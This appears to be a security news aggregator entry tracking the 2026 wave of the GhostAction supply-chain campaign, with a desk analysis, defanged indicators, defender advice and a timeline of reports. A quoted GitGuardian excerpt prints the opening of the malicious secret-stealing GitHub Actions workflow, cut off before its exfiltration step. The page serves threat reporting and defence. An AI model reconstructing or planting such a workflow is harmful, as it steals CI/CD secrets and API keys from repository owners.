Reported by 6 outlets
GhostAction Supply Chain Campaign Returns
Why this score
- Breadth
- 2.00 / 2.0 · 6 sources
- Authority
- 1.80 / 2.0 · best outlet weight
- Severity
- 1.00 / 5.0 · CVSS + content signals
- Velocity
- 0.00 / 2.0 · updates in 48h
- Pickup speed
- 0.00 / 0.6 · time to second source
- Recency
- × 0.09 temporal multiplier
- Community
- + 0.00 / 1.5 · reddit signal
- Score
- 0.4 / 10 = base × recency + community
Desk analysis
GhostAction is a GitHub supply-chain campaign that injects credential-stealing Actions workflows into victim repositories. GitGuardian first documented it on September 5, 2025: 817 public repositories across 327 users, at least 3,325 secrets exfiltrated, via a workflow named github_actions_security.yml committed as "Add Github Actions Security workflow". The current wave began around August 31, 2026 and escalated sharply from October 7: Socket counted more than 500 compromised GitHub accounts committing the malicious workflow to tens of thousands of repositories. On October 8 the account of Takashi Kitao, author of the 18,400-star pyxel game engine, pushed it to 27 repositories, and eight hours later the account of Henry Wu (henrywoo), original author of Uber's athenadriver, pushed it to 318 repositories in a 16-minute window.
The workflow, named security-audit.yml or github_actions_security.yml, hardcodes the secret names it found referenced in the repo's legitimate workflows and POSTs their values in a single curl request over plain HTTP to 193.32.204[.]199. Stolen data includes CI/CD secrets, AWS keys, GitHub and GitLab tokens, and Anthropic, OpenAI, and OpenRouter API keys sitting in working trees and git history. StepSecurity reports GitHub's workflow-approval queue held most malicious runs, blunting the impact, and a Reddit summary notes some victims were also hit by unrelated cryptominer attacks, pointing to a shared pool of stolen credentials used by multiple groups. The same technique later surfaced in the Shai-Hulud campaigns.
Watch for new malicious workflow commits to prominent repositories, for collectors migrating from the raw IP to the recently registered domains my-github[.]com and my-gitlab[.]com, and for vendors disclosing leaked keys with a September-October 2026 exposure window. Defenders should rotate every secret a touched repo could name, audit artifacts published during the window, and keep branch protection and required workflow approvals on, since approval gating is what stopped exfiltration at scale this wave.
Timeline
-
original reporting
The campaign that never stopped: tracking GhostAction from 2025 to 2026
blog.gitguardian.com · 6d ago · October 7th, 2026
The campaign we revealed back in September 2025 is back. In September 2025, GitGuardian alerted to an ongoing supply chain attack we named GhostAction. That campaign compromised 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. The attack relied on injecting a malicious workflow to steal credentials from victims' CI/CD pipelines, likely using previously compromised credentials. This technique was later reused during the Shai-Hulud campaigns and remains at the core of the Mini Shai-Hulud malware family , which is still used today. This campaign saw a new spike in summer 2026. Researchers from Cynative independently observed the malicious commits and reached out to us about it. Same techniques, new victims The new wave of this campaign started around August 31st, at 2 pm GMT. It uses the exact same techniques and payload we described for the previous wave: A workflow file named github_actions_security.yml is injected into the victim repo The commit message is set to Add Github Actions Security workflow Rather than dumping the entire environment, the workflow hardcodes the names of the secrets the attacker found referenced in the repository's legitimate workflows. It then sends their values in a single curl POST request to the attacker's server. name: Github Actions Security on: workflow_dispatch: push: jobs: send-secrets: runs-on: ubuntu-latest steps: - name: Prepare Cache Busting run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV - name: Gi
-
mentioned by blog.gitguardian.com
GhostAction Campaign: 3,325 Secrets Stolen (GitGuardian Original Disclosure)
blog.gitguardian.com · 403d ago · September 5th, 2025
-
update from blog.gitguardian.com
GhostAction campaign: new spike in malicious workflows
blog.gitguardian.com · 6d ago · October 7th, 2026
Hundreds of new repositories poisoned with malicious, secret extracting workflows. GitHub held most malicious workflows runs for approval, limiting the impact. Some victims found to also be affected by seemingly unrelated cryptominer attacks, hinting toward a pool of compromised credentials being used by multiple threat actor groups. submitted by /u/mabote [link] [comments]
via reddit r/cybersecurity: GhostAction campaign: new spike in malicious workflows
-
update from thehackernews.com
🤖 Supply-chain attack on GitHub Actions: compromised maintainer accounts (incl. pyxel's author) pushed credential-stealing workflows into 34
thehackernews.com · 4d ago · October 9th, 2026
🤖 Supply-chain attack on GitHub Actions: compromised maintainer accounts (incl. pyxel's author) pushed credential-stealing workflows into 34
via Mastodon https://thehackernews.com/2026/10/credential-stealing-github-actions.html
-
update from opensourcemalware.com
(opensourcemalware.com) Evolution of GhostAction: Malicious CI Workflows Target GitHub Users in Escalated Supply Chain Attack In brief - Thi
opensourcemalware.com · 4d ago · October 10th, 2026
(opensourcemalware.com) Evolution of GhostAction: Malicious CI Workflows Target GitHub Users in Escalated Supply Chain Attack In brief - Thi
via Mastodon https://opensourcemalware.com/blog/ghostaction-attack-escalates
-
update from gbhackers.com
GhostAction Hackers Compromise 500+ GitHub Accounts to Steal Cloud and AI API Credentials
gbhackers.com · 3d ago · October 10th, 2026
A new GhostAction campaign has expanded to more than 500 compromised GitHub accounts and has injected malicious workflows into tens of thousands of repositories since October 7, 2026. Socket’s October 9 update describes a credential theft operation targeting GitHub Actions secrets, cloud credentials, and AI service API keys embedded in source code and repository history. […] The post GhostAction Hackers Compromise 500+ GitHub Accounts to Steal Cloud and AI API Credentials appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform .
-
update from gbhackers.com
Hundreds of GitHub accounts compromised to siphon cloud and AI API keys. What is notable: these are not the platforms themselves that are at fault.
gbhackers.com · 3d ago · October 10th, 2026
What is notable: these are not the platforms themselves that are at fault.
-
mentioned by thehackernews.com
🤖 Supply-chain attack: attackers compromised high-profile open-source maintainer accounts to inject credential-stealing GitHub Actions workf
thehackernews.com · 3d ago · October 10th, 2026
-
mentioned by threatnoir.com
⚠️ CRITICAL: Credential-Stealing GitHub Actions Workflows Planted in Tens of Thousands of Repositories The GhostAction campaign is actively
threatnoir.com · 3d ago · October 10th, 2026
-
mentioned by www.stepsecurity.io
(stepsecurity.io) GhostAction Campaign Escalates: High-Profile Open-Source Repositories Compromised via Malicious GitHub Actions Workflows I
www.stepsecurity.io · 3d ago · October 10th, 2026
-
mentioned by thehackernews.com
🤖 Ongoing supply-chain attack: attackers hijacked high-profile open-source maintainer accounts to plant credential-stealing GitHub Actions w
thehackernews.com · 3d ago · October 10th, 2026